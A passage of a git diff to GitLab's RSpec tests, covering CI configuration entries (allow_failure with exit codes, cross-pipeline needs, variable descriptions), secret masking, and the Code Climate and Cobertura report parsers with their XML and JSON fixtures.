+ it { is_expected.not_to be_valid }
+ end
+
+ describe '#errors' do
+ it 'returns an error message' do
+ expect(subject.errors)
+ .to include(/allow failure should be a boolean value/)
+ end
+ end
+ end
end
describe '#manual_action?' do
diff --git a/spec/lib/gitlab/ci/config/entry/image_spec.rb b/spec/lib/gitlab/ci/config/entry/image_spec.rb
index c3d91057328..e810d65d560 100644
--- a/spec/lib/gitlab/ci/config/entry/image_spec.rb
+++ b/spec/lib/gitlab/ci/config/entry/image_spec.rb
@@ -81,7 +81,7 @@ RSpec.describe Gitlab::Ci::Config::Entry::Image do
context 'when configuration has ports' do
let(:ports) { [{ number: 80, protocol: 'http', name: 'foobar' }] }
let(:config) { { name: 'ruby:2.7', entrypoint: %w(/bin/sh run), ports: ports } }
- let(:entry) { described_class.new(config, { with_image_ports: image_ports }) }
+ let(:entry) { described_class.new(config, with_image_ports: image_ports) }
let(:image_ports) { false }
context 'when with_image_ports metadata is not enabled' do
diff --git a/spec/lib/gitlab/ci/config/entry/job_spec.rb b/spec/lib/gitlab/ci/config/entry/job_spec.rb
index e0e8bc93770..7834a1a94f2 100644
--- a/spec/lib/gitlab/ci/config/entry/job_spec.rb
+++ b/spec/lib/gitlab/ci/config/entry/job_spec.rb
@@ -670,6 +670,10 @@ RSpec.describe Gitlab::Ci::Config::Entry::Job do
end
describe '#ignored?' do
+ before do
+ entry.compose!
+ end
+
context 'when job is a manual action' do
context 'when it is not specified if job is allowed to fail' do
let(:config) do
@@ -700,6 +704,16 @@ RSpec.describe Gitlab::Ci::Config::Entry::Job do
expect(entry).not_to be_ignored
end
end
+
+ context 'when job is dynamically allowed to fail' do
+ let(:config) do
+ { script: 'deploy', when: 'manual', allow_failure: { exit_codes: 42 } }
+ end
+
+ it 'is not an ignored job' do
+ expect(entry).not_to be_ignored
+ end
+ end
end
context 'when job is not a manual action' do
@@ -709,6 +723,10 @@ RSpec.describe Gitlab::Ci::Config::Entry::Job do
it 'is not an ignored job' do
expect(entry).not_to be_ignored
end
+
+ it 'does not return allow_failure' do
+ expect(entry.value.key?(:allow_failure_criteria)).to be_falsey
+ end
end
context 'when job is allowed to fail' do
@@ -717,6 +735,10 @@ RSpec.describe Gitlab::Ci::Config::Entry::Job do
it 'is an ignored job' do
expect(entry).to be_ignored
end
+
+ it 'does not return allow_failure_criteria' do
+ expect(entry.value.key?(:allow_failure_criteria)).to be_falsey
+ end
end
context 'when job is not allowed to fail' do
@@ -725,6 +747,32 @@ RSpec.describe Gitlab::Ci::Config::Entry::Job do
it 'is not an ignored job' do
expect(entry).not_to be_ignored
end
+
+ it 'does not return allow_failure_criteria' do
+ expect(entry.value.key?(:allow_failure_criteria)).to be_falsey
+ end
+ end
+
+ context 'when job is dynamically allowed to fail' do
+ let(:config) { { script: 'deploy', allow_failure: { exit_codes: 42 } } }
+
+ it 'is not an ignored job' do
+ expect(entry).not_to be_ignored
+ end
+
+ it 'returns allow_failure_criteria' do
+ expect(entry.value[:allow_failure_criteria]).to match(exit_codes: [42])
+ end
+
+ context 'with ci_allow_failure_with_exit_codes disabled' do
+ before do
+ stub_feature_flags(ci_allow_failure_with_exit_codes: false)
+ end
+
+ it 'does not return allow_failure_criteria' do
+ expect(entry.value.key?(:allow_failure_criteria)).to be_falsey
+ end
+ end
end
end
end
diff --git a/spec/lib/gitlab/ci/config/entry/need_spec.rb b/spec/lib/gitlab/ci/config/entry/need_spec.rb
index 5a826bf8282..983e95fae42 100644
--- a/spec/lib/gitlab/ci/config/entry/need_spec.rb
+++ b/spec/lib/gitlab/ci/config/entry/need_spec.rb
@@ -165,6 +165,45 @@ RSpec.describe ::Gitlab::Ci::Config::Entry::Need do
end
end
+ context 'with cross pipeline artifacts needs' do
+ context 'when pipeline is provided' do
+ context 'when job is provided' do
+ let(:config) { { job: 'job_name', pipeline: '$THE_PIPELINE_ID' } }
+
+ it { is_expected.to be_valid }
+
+ it 'sets artifacts:true by default' do
+ expect(need.value).to eq(job: 'job_name', pipeline: '$THE_PIPELINE_ID', artifacts: true)
+ end
+
+ it 'sets the type as cross_dependency' do
+ expect(need.type).to eq(:cross_dependency)
+ end
+ end
+
+ context 'when artifacts is provided' do
+ let(:config) { { job: 'job_name', pipeline: '$THE_PIPELINE_ID', artifacts: false } }
+
+ it { is_expected.to be_valid }
+
+ it 'returns the correct value' do
+ expect(need.value).to eq(job: 'job_name', pipeline: '$THE_PIPELINE_ID', artifacts: false)
+ end
+ end
+ end
+
+ context 'when config contains not allowed keys' do
+ let(:config) { { job: 'job_name', pipeline: '$THE_PIPELINE_ID', something: 'else' } }
+
+ it { is_expected.not_to be_valid }
+
+ it 'returns an error' do
+ expect(need.errors)
+ .to contain_exactly('cross pipeline dependency config contains unknown keys: something')
+ end
+ end
+ end
+
context 'when need config is not a string or a hash' do
let(:config) { :job_name }
diff --git a/spec/lib/gitlab/ci/config/entry/needs_spec.rb b/spec/lib/gitlab/ci/config/entry/needs_spec.rb
index f3b9d0c3c84..f11f2a56f5f 100644
--- a/spec/lib/gitlab/ci/config/entry/needs_spec.rb
+++ b/spec/lib/gitlab/ci/config/entry/needs_spec.rb
@@ -6,7 +6,7 @@ RSpec.describe ::Gitlab::Ci::Config::Entry::Needs do
subject(:needs) { described_class.new(config) }
before do
- needs.metadata[:allowed_needs] = %i[job]
+ needs.metadata[:allowed_needs] = %i[job cross_dependency]
end
describe 'validations' do
@@ -66,6 +66,27 @@ RSpec.describe ::Gitlab::Ci::Config::Entry::Needs do
end
end
end
+
+ context 'with too many cross pipeline dependencies' do
+ let(:limit) { described_class::NEEDS_CROSS_PIPELINE_DEPENDENCIES_LIMIT }
+
+ let(:config) do
+ Array.new(limit.next) do |index|
+ { pipeline: "$UPSTREAM_PIPELINE_#{index}", job: 'job-1' }
+ end
+ end
+
+ describe '#valid?' do
+ it { is_expected.not_to be_valid }
+ end
+
+ describe '#errors' do
+ it 'returns error about incorrect type' do
+ expect(needs.errors).to contain_exactly(
+ "needs config must be less than or equal to #{limit}")
+ end
+ end
+ end
end
describe '.compose!' do
diff --git a/spec/lib/gitlab/ci/config/entry/processable_spec.rb b/spec/lib/gitlab/ci/config/entry/processable_spec.rb
index ac8dd2a3267..aadf94365c6 100644
--- a/spec/lib/gitlab/ci/config/entry/processable_spec.rb
+++ b/spec/lib/gitlab/ci/config/entry/processable_spec.rb
@@ -361,7 +361,7 @@ RSpec.describe Gitlab::Ci::Config::Entry::Processable do
context 'when root yaml variables are used' do
let(:variables) do
Gitlab::Ci::Config::Entry::Variables.new(
- A: 'root', C: 'root', D: 'root'
+ { A: 'root', C: 'root', D: 'root' }
).value
end
diff --git a/spec/lib/gitlab/ci/config/entry/root_spec.rb b/spec/lib/gitlab/ci/config/entry/root_spec.rb
index 79716df6b60..54c7a5c3602 100644
--- a/spec/lib/gitlab/ci/config/entry/root_spec.rb
+++ b/spec/lib/gitlab/ci/config/entry/root_spec.rb
@@ -32,7 +32,7 @@ RSpec.describe Gitlab::Ci::Config::Entry::Root do
image: 'ruby:2.7',
default: {},
services: ['postgres:9.1', 'mysql:5.5'],
- variables: { VAR: 'root' },
+ variables: { VAR: 'root', VAR2: { value: 'val 2', description: 'this is var 2' } },
after_script: ['make clean'],
stages: %w(build pages release),
cache: { key: 'k', untracked: true, paths: ['public/'] },
@@ -80,6 +80,10 @@ RSpec.describe Gitlab::Ci::Config::Entry::Root do
.to eq 'List of external YAML files to include.'
end
+ it 'sets correct variables value' do
+ expect(root.variables_value).to eq('VAR' => 'root', 'VAR2' => 'val 2')
+ end
+
describe '#leaf?' do
it 'is not leaf' do
expect(root).not_to be_leaf
@@ -128,7 +132,7 @@ RSpec.describe Gitlab::Ci::Config::Entry::Root do
services: [{ name: 'postgres:9.1' }, { name: 'mysql:5.5' }],
stage: 'test',
cache: { key: 'k', untracked: true, paths: ['public/'], policy: 'pull-push', when: 'on_success' },
- variables: { 'VAR' => 'root' },
+ variables: { 'VAR' => 'root', 'VAR2' => 'val 2' },
ignore: false,
after_script: ['make clean'],
only: { refs: %w[branches tags] },
@@ -142,7 +146,7 @@ RSpec.describe Gitlab::Ci::Config::Entry::Root do
services: [{ name: 'postgres:9.1' }, { name: 'mysql:5.5' }],
stage: 'test',
cache: { key: 'k', untracked: true, paths: ['public/'], policy: 'pull-push', when: 'on_success' },
- variables: { 'VAR' => 'root' },
+ variables: { 'VAR' => 'root', 'VAR2' => 'val 2' },
ignore: false,
after_script: ['make clean'],
only: { refs: %w[branches tags] },
@@ -158,7 +162,7 @@ RSpec.describe Gitlab::Ci::Config::Entry::Root do
services: [{ name: "postgres:9.1" }, { name: "mysql:5.5" }],
cache: { key: "k", untracked: true, paths: ["public/"], policy: "pull-push", when: 'on_success' },
only: { refs: %w(branches tags) },
- variables: { 'VAR' => 'job' },
+ variables: { 'VAR' => 'job', 'VAR2' => 'val 2' },
after_script: [],
ignore: false,
scheduling_type: :stage }
diff --git a/spec/lib/gitlab/ci/config/entry/rules/rule_spec.rb b/spec/lib/gitlab/ci/config/entry/rules/rule_spec.rb
index 4a43e6c9a86..d1bd22e5573 100644
--- a/spec/lib/gitlab/ci/config/entry/rules/rule_spec.rb
+++ b/spec/lib/gitlab/ci/config/entry/rules/rule_spec.rb
@@ -339,6 +339,22 @@ RSpec.describe Gitlab::Ci::Config::Entry::Rules::Rule do
end
end
end
+
+ context 'with an invalid variables' do
+ let(:config) do
+ { if: '$THIS == "that"', variables: 'hello' }
+ end
+
+ before do
+ subject.compose!
+ end
+
+ it { is_expected.not_to be_valid }
+
+ it 'returns an error about invalid variables:' do
+ expect(subject.errors).to include(/variables config should be a hash of key value pairs/)
+ end
+ end
end
context 'allow_failure: validation' do
diff --git a/spec/lib/gitlab/ci/config/entry/service_spec.rb b/spec/lib/gitlab/ci/config/entry/service_spec.rb
index ec137ef2ae4..2795cc9dddf 100644
--- a/spec/lib/gitlab/ci/config/entry/service_spec.rb
+++ b/spec/lib/gitlab/ci/config/entry/service_spec.rb
@@ -96,7 +96,7 @@ RSpec.describe Gitlab::Ci::Config::Entry::Service do
{ name: 'postgresql:9.5', alias: 'db', command: %w(cmd run), entrypoint: %w(/bin/sh run), ports: ports }
end
- let(:entry) { described_class.new(config, { with_image_ports: image_ports }) }
+ let(:entry) { described_class.new(config, with_image_ports: image_ports) }
let(:image_ports) { false }
context 'when with_image_ports metadata is not enabled' do
diff --git a/spec/lib/gitlab/ci/config/entry/services_spec.rb b/spec/lib/gitlab/ci/config/entry/services_spec.rb
index e4f8a348d21..85e7f297b03 100644
--- a/spec/lib/gitlab/ci/config/entry/services_spec.rb
+++ b/spec/lib/gitlab/ci/config/entry/services_spec.rb
@@ -38,7 +38,7 @@ RSpec.describe Gitlab::Ci::Config::Entry::Services do
context 'when configuration has ports' do
let(:ports) { [{ number: 80, protocol: 'http', name: 'foobar' }] }
let(:config) { ['postgresql:9.5', { name: 'postgresql:9.1', alias: 'postgres_old', ports: ports }] }
- let(:entry) { described_class.new(config, { with_image_ports: image_ports }) }
+ let(:entry) { described_class.new(config, with_image_ports: image_ports) }
let(:image_ports) { false }
context 'when with_image_ports metadata is not enabled' do
diff --git a/spec/lib/gitlab/ci/config/entry/variables_spec.rb b/spec/lib/gitlab/ci/config/entry/variables_spec.rb
index ac33f858f43..426a38e2ef7 100644
--- a/spec/lib/gitlab/ci/config/entry/variables_spec.rb
+++ b/spec/lib/gitlab/ci/config/entry/variables_spec.rb
@@ -3,7 +3,9 @@
require 'spec_helper'
RSpec.describe Gitlab::Ci::Config::Entry::Variables do
- subject { described_class.new(config) }
+ let(:metadata) { {} }
+
+ subject { described_class.new(config, metadata) }
shared_examples 'valid config' do
describe '#value' do
@@ -71,7 +73,13 @@ RSpec.describe Gitlab::Ci::Config::Entry::Variables do
{ 'VARIABLE_1' => 'value 1', 'VARIABLE_2' => 'value 2' }
end
- it_behaves_like 'valid config'
+ it_behaves_like 'invalid config'
+
+ context 'when metadata has use_value_data' do
+ let(:metadata) { { use_value_data: true } }
+
+ it_behaves_like 'valid config'
+ end
end
context 'when entry value is an array' do
@@ -80,32 +88,36 @@ RSpec.describe Gitlab::Ci::Config::Entry::Variables do
it_behaves_like 'invalid config'
end
- context 'when entry value has hash with other key-pairs' do
- let(:config) do
- { 'VARIABLE_1' => { value: 'value 1', hello: 'variable 1' },
- 'VARIABLE_2' => 'value 2' }
- end
+ context 'when metadata has use_value_data' do
+ let(:metadata) { { use_value_data: true } }
- it_behaves_like 'invalid config'
- end
+ context 'when entry value has hash with other key-pairs' do
+ let(:config) do
+ { 'VARIABLE_1' => { value: 'value 1', hello: 'variable 1' },
+ 'VARIABLE_2' => 'value 2' }
+ end
- context 'when entry config value has hash with nil description' do
- let(:config) do
- { 'VARIABLE_1' => { value: 'value 1', description: nil } }
+ it_behaves_like 'invalid config'
end
- it_behaves_like 'invalid config'
- end
+ context 'when entry config value has hash with nil description' do
+ let(:config) do
+ { 'VARIABLE_1' => { value: 'value 1', description: nil } }
+ end
- context 'when entry config value has hash without description' do
- let(:config) do
- { 'VARIABLE_1' => { value: 'value 1' } }
+ it_behaves_like 'invalid config'
end
- let(:result) do
- { 'VARIABLE_1' => 'value 1' }
- end
+ context 'when entry config value has hash without description' do
+ let(:config) do
+ { 'VARIABLE_1' => { value: 'value 1' } }
+ end
- it_behaves_like 'valid config'
+ let(:result) do
+ { 'VARIABLE_1' => 'value 1' }
+ end
+
+ it_behaves_like 'valid config'
+ end
end
end
diff --git a/spec/lib/gitlab/ci/mask_secret_spec.rb b/spec/lib/gitlab/ci/mask_secret_spec.rb
index 7b2d6b58518..7d950c86700 100644
--- a/spec/lib/gitlab/ci/mask_secret_spec.rb
+++ b/spec/lib/gitlab/ci/mask_secret_spec.rb
@@ -22,6 +22,10 @@ RSpec.describe Gitlab::Ci::MaskSecret do
expect(mask('token', nil)).to eq('token')
end
+ it 'does not change a bytesize of a value' do
+ expect(mask('token-ü/unicode', 'token-ü').bytesize).to eq 16
+ end
+
def mask(value, token)
subject.mask!(value.dup, token)
end
diff --git a/spec/lib/gitlab/ci/parsers/codequality/code_climate_spec.rb b/spec/lib/gitlab/ci/parsers/codequality/code_climate_spec.rb
new file mode 100644
index 00000000000..c6b8cf2a985
--- /dev/null
+++ b/spec/lib/gitlab/ci/parsers/codequality/code_climate_spec.rb
@@ -0,0 +1,138 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::Ci::Parsers::Codequality::CodeClimate do
+ describe '#parse!' do
+ subject(:parse) { described_class.new.parse!(code_climate, codequality_report) }
+
+ let(:codequality_report) { Gitlab::Ci::Reports::CodequalityReports.new }
+ let(:code_climate) do
+ [
+ {
+ "categories": [
+ "Complexity"
+ ],
+ "check_name": "argument_count",
+ "content": {
+ "body": ""
+ },
+ "description": "Method `new_array` has 12 arguments (exceeds 4 allowed). Consider refactoring.",
+ "fingerprint": "15cdb5c53afd42bc22f8ca366a08d547",
+ "location": {
+ "path": "foo.rb",
+ "lines": {
+ "begin": 10,
+ "end": 10
+ }
+ },
+ "other_locations": [],
+ "remediation_points": 900000,
+ "severity": "major",
+ "type": "issue",
+ "engine_name": "structure"
+ }
+ ].to_json
+ end
+
+ context "when data is code_climate style JSON" do
+ context "when there are no degradations" do
+ let(:code_climate) { [].to_json }
+
+ it "returns a codequality report" do
+ expect { parse }.not_to raise_error
+
+ expect(codequality_report.degradations_count).to eq(0)
+ end
+ end
+
+ context "when there are degradations" do
+ it "returns a codequality report" do
+ expect { parse }.not_to raise_error
+
+ expect(codequality_report.degradations_count).to eq(1)
+ end
+ end
+ end
+
+ context "when data is not a valid JSON string" do
+ let(:code_climate) do
+ [
+ {
+ "categories": [
+ "Complexity"
+ ],
+ "check_name": "argument_count",
+ "content": {
+ "body": ""
+ },
+ "description": "Method `new_array` has 12 arguments (exceeds 4 allowed). Consider refactoring.",
+ "fingerprint": "15cdb5c53afd42bc22f8ca366a08d547",
+ "location": {
+ "path": "foo.rb",
+ "lines": {
+ "begin": 10,
+ "end": 10
+ }
+ },
+ "other_locations": [],
+ "remediation_points": 900000,
+ "severity": "major",
+ "type": "issue",
+ "engine_name": "structure"
+ }
+ ]
+ end
+
+ it "sets error_message" do
+ expect { parse }.not_to raise_error
+
+ expect(codequality_report.error_message).to include('JSON parsing failed')
+ end
+ end
+
+ context 'when degradations contain an invalid one' do
+ let(:code_climate) do
+ [
+ {
+ "type": "Issue",
+ "check_name": "Rubocop/Metrics/ParameterLists",
+ "description": "Avoid parameter lists longer than 5 parameters. [12/5]",
+ "fingerprint": "ab5f8b935886b942d621399aefkaehfiaehf",
+ "severity": "minor"
+ },
+ {
+ "categories": [
+ "Complexity"
+ ],
+ "check_name": "argument_count",
+ "content": {
+ "body": ""
+ },
+ "description": "Method `new_array` has 12 arguments (exceeds 4 allowed). Consider refactoring.",
+ "fingerprint": "15cdb5c53afd42bc22f8ca366a08d547",
+ "location": {
+ "path": "foo.rb",
+ "lines": {
+ "begin": 10,
+ "end": 10
+ }
+ },
+ "other_locations": [],
+ "remediation_points": 900000,
+ "severity": "major",
+ "type": "issue",
+ "engine_name": "structure"
+ }
+ ].to_json
+ end
+
+ it 'stops parsing the report' do
+ expect { parse }.not_to raise_error
+
+ expect(codequality_report.degradations_count).to eq(0)
+ expect(codequality_report.error_message).to eq("Invalid degradation format: The property '#/' did not contain a required property of 'location'")
+ end
+ end
+ end
+end
diff --git a/spec/lib/gitlab/ci/parsers/coverage/cobertura_spec.rb b/spec/lib/gitlab/ci/parsers/coverage/cobertura_spec.rb
index 45e87466532..2313378d1e9 100644
--- a/spec/lib/gitlab/ci/parsers/coverage/cobertura_spec.rb
+++ b/spec/lib/gitlab/ci/parsers/coverage/cobertura_spec.rb
@@ -4,207 +4,690 @@ require 'fast_spec_helper'
RSpec.describe Gitlab::Ci::Parsers::Coverage::Cobertura do
describe '#parse!' do
- subject { described_class.new.parse!(cobertura, coverage_report) }
+ subject(:parse_report) { described_class.new.parse!(cobertura, coverage_report, project_path: project_path, worktree_paths: paths) }
let(:coverage_report) { Gitlab::Ci::Reports::CoverageReports.new }
+ let(:project_path) { 'foo/bar' }
+ let(:paths) { ['app/user.rb'] }
+
+ let(:cobertura) do
+ <<~EOF
+ <coverage>
+ #{sources_xml}
+ #{classes_xml}
+ </coverage>
+ EOF
+ end
context 'when data is Cobertura style XML' do
- context 'when there is no <class>' do
- let(:cobertura) { '' }
+ shared_examples_for 'ignoring sources, project_path, and worktree_paths' do
+ context 'when there is no <class>' do
+ let(:classes_xml) { '' }
- it 'parses XML and returns empty coverage' do
- expect { subject }.not_to raise_error
+ it 'parses XML and returns empty coverage' do
+ expect { parse_report }.not_to raise_error
- expect(coverage_report.files).to eq({})
+ expect(coverage_report.files).to eq({})
+ end
end
- end
- context 'when there is a <sources>' do
- shared_examples_for 'ignoring sources' do
- it 'parses XML without errors' do
- expect { subject }.not_to raise_error
+ context 'when there is a single <class>' do
+ context 'with no lines' do
+ let(:classes_xml) do
+ <<~EOF
+ <packages><package name="app"><classes>
+ <class filename="app.rb"></class>
+ </classes></package></packages>
+ EOF
+ end
+
+ it 'parses XML and returns empty coverage' do
+ expect { parse_report }.not_to raise_error
+
+ expect(coverage_report.files).to eq({})
+ end
+ end
- expect(coverage_report.files).to eq({})
+ context 'with a single line' do
+ let(:classes_xml) do
+ <<~EOF
+ <packages><package name="app"><classes>
+ <class filename="app.rb"><lines>
+ <line number="1" hits="2"/>
+ </lines></class>
+ </classes></package></packages>
+ EOF
+ end
+
+ it 'parses XML and returns a single file with coverage' do
+ expect { parse_report }.not_to raise_error
+
+ expect(coverage_report.files).to eq({ 'app.rb' => { 1 => 2 } })
+ end
+ end
+
+ context 'without a package parent' do
+ let(:classes_xml) do
+ <<~EOF
+ <packages>
+ <class filename="app.rb"><lines>
+ <line number="1" hits="2"/>
+ </lines></class>
+ </packages>
+ EOF
+ end
+
+ it 'parses XML and returns a single file with coverage' do
+ expect { parse_report }.not_to raise_error
+
+ expect(coverage_report.files).to eq({ 'app.rb' => { 1 => 2 } })
+ end
+ end
+
+ context 'with multiple lines and methods info' do
+ let(:classes_xml) do
+ <<~EOF
+ <packages><package name="app"><classes>
+ <class filename="app.rb"><methods/><lines>
+ <line number="1" hits="2"/>
+ <line number="2" hits="0"/>
+ </lines></class>
+ </classes></package></packages>
+ EOF
+ end
+
+ it 'parses XML and returns a single file with coverage' do
+ expect { parse_report }.not_to raise_error
+
+ expect(coverage_report.files).to eq({ 'app.rb' => { 1 => 2, 2 => 0 } })
+ end
end
end
- context 'and has a single source' do
- let(:cobertura) do
- <<-EOF.strip_heredoc
+ context 'when there are multiple <class>' do
+ context 'without a package parent' do
+ let(:classes_xml) do
+ <<~EOF
+ <packages>
+ <class filename="app.rb"><methods/><lines>
+ <line number="1" hits="2"/>
+ </lines></class>
+ <class filename="foo.rb"><methods/><lines>
+ <line number="6" hits="1"/>
+ </lines></class>
+ </packages>
+ EOF
+ end
+
+ it 'parses XML and returns coverage information per class' do
+ expect { parse_report }.not_to raise_error
+
+ expect(coverage_report.files).to eq({ 'app.rb' => { 1 => 2 }, 'foo.rb' => { 6 => 1 } })
+ end
+ end
+
+ context 'with the same filename and different lines' do
+ let(:classes_xml) do
+ <<~EOF
+ <packages><package name="app"><classes>
+ <class filename="app.rb"><methods/><lines>
+ <line number="1" hits="2"/>
+ <line number="2" hits="0"/>
+ </lines></class>
+ <class filename="app.rb"><methods/><lines>
+ <line number="6" hits="1"/>
+ <line number="7" hits="1"/>
+ </lines></class>
+ </classes></package></packages>
+ EOF
+ end
+
+ it 'parses XML and returns a single file with merged coverage' do
+ expect { parse_report }.not_to raise_error
+
+ expect(coverage_report.files).to eq({ 'app.rb' => { 1 => 2, 2 => 0, 6 => 1, 7 => 1 } })
+ end
+ end
+
+ context 'with the same filename and lines' do
+ let(:classes_xml) do
+ <<~EOF
+ <packages><package name="app"><classes>
+ <class filename="app.rb"><methods/><lines>
+ <line number="1" hits="2"/>
+ <line number="2" hits="0"/>
+ </lines></class>
+ <class filename="app.rb"><methods/><lines>
+ <line number="1" hits="1"/>
+ <line number="2" hits="1"/>
+ </lines></class>
+ </classes></package></packages>
+ EOF
+ end
+
+ it 'parses XML and returns a single file with summed-up coverage' do
+ expect { parse_report }.not_to raise_error
+
+ expect(coverage_report.files).to eq({ 'app.rb' => { 1 => 3, 2 => 1 } })
+ end
+ end
+
+ context 'with missing filename' do
+ let(:classes_xml) do
+ <<~EOF
+ <packages><package name="app"><classes>
+ <class filename="app.rb"><methods/><lines>
+ <line number="1" hits="2"/>
+ <line number="2" hits="0"/>
+ </lines></class>
+ <class><methods/><lines>
+ <line number="6" hits="1"/>
+ <line number="7" hits="1"/>
+ </lines></class>
+ </classes></package></packages>
+ EOF
+ end
+
+ it 'parses XML and ignores class with missing name' do
+ expect { parse_report }.not_to raise_error
+
+ expect(coverage_report.files).to eq({ 'app.rb' => { 1 => 2, 2 => 0 } })
+ end
+ end
+
+ context 'with invalid line information' do
+ let(:classes_xml) do
+ <<~EOF
+ <packages><package name="app"><classes>
+ <class filename="app.rb"><methods/><lines>
+ <line number="1" hits="2"/>
+ <line number="2" hits="0"/>
+ </lines></class>
+ <class filename="app.rb"><methods/><lines>
+ <line null="test" hits="1"/>
+ <line number="7" hits="1"/>
+ </lines></class>
+ </classes></package></packages>
+ EOF
+ end
+
+ it 'raises an error' do
+ expect { parse_report }.to raise_error(described_class::InvalidLineInformationError)
+ end
+ end
+ end
+ end
+
+ context 'when there is no <sources>' do
+ let(:sources_xml) { '' }
+
+ it_behaves_like 'ignoring sources, project_path, and worktree_paths'
+ end
+
+ context 'when there is a <sources>' do
+ context 'and has a single source with a pattern for Go projects' do
+ let(:project_path) { 'local/go' } # Make sure we're not making false positives
+ let(:sources_xml) do
+ <<~EOF
<sources>
- <source>project/src</source>
+ <source>/usr/local/go/src</source>
</sources>
EOF
end
- it_behaves_like 'ignoring sources'
+ it_behaves_like 'ignoring sources, project_path, and worktree_paths'
end
- context 'and has multiple sources' do
- let(:cobertura) do
- <<-EOF.strip_heredoc
+ context 'and has multiple sources with a pattern for Go projects' do
+ let(:project_path) { 'local/go' } # Make sure we're not making false positives
+ let(:sources_xml) do
+ <<~EOF
<sources>
- <source>project/src/foo</source>
- <source>project/src/bar</source>
+ <source>/usr/local/go/src</source>
+ <source>/go/src</source>
</sources>
EOF
end
- it_behaves_like 'ignoring sources'
+ it_behaves_like 'ignoring sources, project_path, and worktree_paths'
end
- end
- context 'when there is a single <class>' do
- context 'with no lines' do
- let(:cobertura) do
- <<-EOF.strip_heredoc
- <classes><class filename="app.rb"></class></classes>
+ context 'and has a single source but already is at the project root path' do
+ let(:sources_xml) do
+ <<~EOF
+ <sources>
+ <source>builds/#{project_path}</source>
+ </sources>
EOF
end
- it 'parses XML and returns empty coverage' do
- expect { subject }.not_to raise_error
+ it_behaves_like 'ignoring sources, project_path, and worktree_paths'
+ end
- expect(coverage_report.files).to eq({})
+ context 'and has multiple sources but already are at the project root path' do
+ let(:sources_xml) do
+ <<~EOF
+ <sources>
+ <source>builds/#{project_path}/</source>
+ <source>builds/somewhere/#{project_path}</source>
+ </sources>
+ EOF
end
+
+ it_behaves_like 'ignoring sources, project_path, and worktree_paths'
end
- context 'with a single line' do
- let(:cobertura) do
- <<-EOF.strip_heredoc
- <classes>
- <class filename="app.rb"><lines>
- <line number="1" hits="2"/>
- </lines></class>
- </classes>
+ context 'and has a single source that is not at the project root path' do
+ let(:sources_xml) do
+ <<~EOF
+ <sources>
+ <source>builds/#{project_path}/app</source>
+ </sources>
EOF
end
- it 'parses XML and returns a single file with coverage' do
- expect { subject }.not_to raise_error
+ context 'when there is no <class>' do
+ let(:classes_xml) { '' }
- expect(coverage_report.files).to eq({ 'app.rb' => { 1 => 2 } })
- end
- end
+ it 'parses XML and returns empty coverage' do
+ expect { parse_report }.not_to raise_error
- context 'with multipe lines and methods info' do
- let(:cobertura) do
- <<-EOF.strip_heredoc
- <classes>
- <class filename="app.rb"><methods/><lines>
- <line number="1" hits="2"/>
- <line number="2" hits="0"/>
- </lines></class>
- </classes>
- EOF
+ expect(coverage_report.files).to eq({})
+ end
end
- it 'parses XML and returns a single file with coverage' do
- expect { subject }.not_to raise_error
+ context 'when there is a single <class>' do
+ context 'with no lines' do
+ let(:classes_xml) do
+ <<~EOF
+ <packages><package name="app"><classes>
+ <class filename="user.rb"></class>
+ </classes></package></packages>
+ EOF
+ end
+
+ it 'parses XML and returns empty coverage' do
+ expect { parse_report }.not_to raise_error
+
+ expect(coverage_report.files).to eq({})
+ end
+ end
+
+ context 'with a single line but the filename cannot be determined based on extracted source and worktree paths' do
+ let(:classes_xml) do
+ <<~EOF
+ <packages><package name="app"><classes>
+ <class filename="member.rb"><lines>
+ <line number="1" hits="2"/>
+ </lines></class>
+ </classes></package></packages>
+ EOF
+ end
+
+ it 'parses XML and returns empty coverage' do
+ expect { parse_report }.not_to raise_error
+
+ expect(coverage_report.files).to eq({})
+ end
+ end
+
+ context 'with a single line' do
+ let(:classes_xml) do
+ <<~EOF
+ <packages><package name="app"><classes>
+ <class filename="user.rb"><lines>
+ <line number="1" hits="2"/>
+ </lines></class>
+ </classes></package></packages>
+ EOF
+ end
+
+ it 'parses XML and returns a single file with the filename relative to project root' do
+ expect { parse_report }.not_to raise_error
+
+ expect(coverage_report.files).to eq({ 'app/user.rb' => { 1 => 2 } })
+ end
+ end
+
+ context 'with multiple lines and methods info' do
+ let(:classes_xml) do
+ <<~EOF
+ <packages><package name="app"><classes>
+ <class filename="user.rb"><methods/><lines>
+ <line number="1" hits="2"/>
+ <line number="2" hits="0"/>
+ </lines></class>
+ </classes></package></packages>
+ EOF
+ end
+
+ it 'parses XML and returns a single file with the filename relative to project root' do
+ expect { parse_report }.not_to raise_error
+
+ expect(coverage_report.files).to eq({ 'app/user.rb' => { 1 => 2, 2 => 0 } })
+ end
+ end
+ end
- expect(coverage_report.files).to eq({ 'app.rb' => { 1 => 2, 2 => 0 } })
+ context 'when there are multiple <class>' do
+ context 'with the same filename but the filename cannot be determined based on extracted source and worktree paths' do
+ let(:classes_xml) do
+ <<~EOF
+ <packages><package name="app"><classes>
+ <class filename="member.rb"><methods/><lines>
+ <line number="1" hits="2"/>
+ <line number="2" hits="0"/>
+ </lines></class>
+ <class filename="member.rb"><methods/><lines>
+ <line number="6" hits="1"/>
+ <line number="7" hits="1"/>
+ </lines></class>
+ </classes></package></packages>
+ EOF
+ end
+
+ it 'parses XML and returns empty coverage' do
+ expect { parse_report }.not_to raise_error
+
+ expect(coverage_report.files).to eq({})
+ end
+ end
+
+ context 'without a parent package' do
+ let(:classes_xml) do
+ <<~EOF
+ <packages>
+ <class filename="user.rb"><methods/><lines>
+ <line number="1" hits="2"/>
+ <line number="2" hits="0"/>
+ </lines></class>
+ <class filename="user.rb"><methods/><lines>
+ <line number="6" hits="1"/>
+ <line number="7" hits="1"/>
+ </lines></class>
+ </packages>
+ EOF
+ end
+
+ it 'parses XML and returns coverage information with the filename relative to project root' do
+ expect { parse_report }.not_to raise_error
+
+ expect(coverage_report.files).to eq({ 'app/user.rb' => { 1 => 2, 2 => 0, 6 => 1, 7 => 1 } })
+ end
+ end
+
+ context 'with the same filename and different lines' do
+ let(:classes_xml) do
+ <<~EOF
+ <packages><package name="app"><classes>
+ <class filename="user.rb"><methods/><lines>
+ <line number="1" hits="2"/>
+ <line number="2" hits="0"/>
+ </lines></class>
+ <class filename="user.rb"><methods/><lines>
+ <line number="6" hits="1"/>
+ <line number="7" hits="1"/>
+ </lines></class>
+ </classes></package></packages>
+ EOF
+ end
+
+ it 'parses XML and returns a single file with merged coverage, and with the filename relative to project root' do
+ expect { parse_report }.not_to raise_error
+
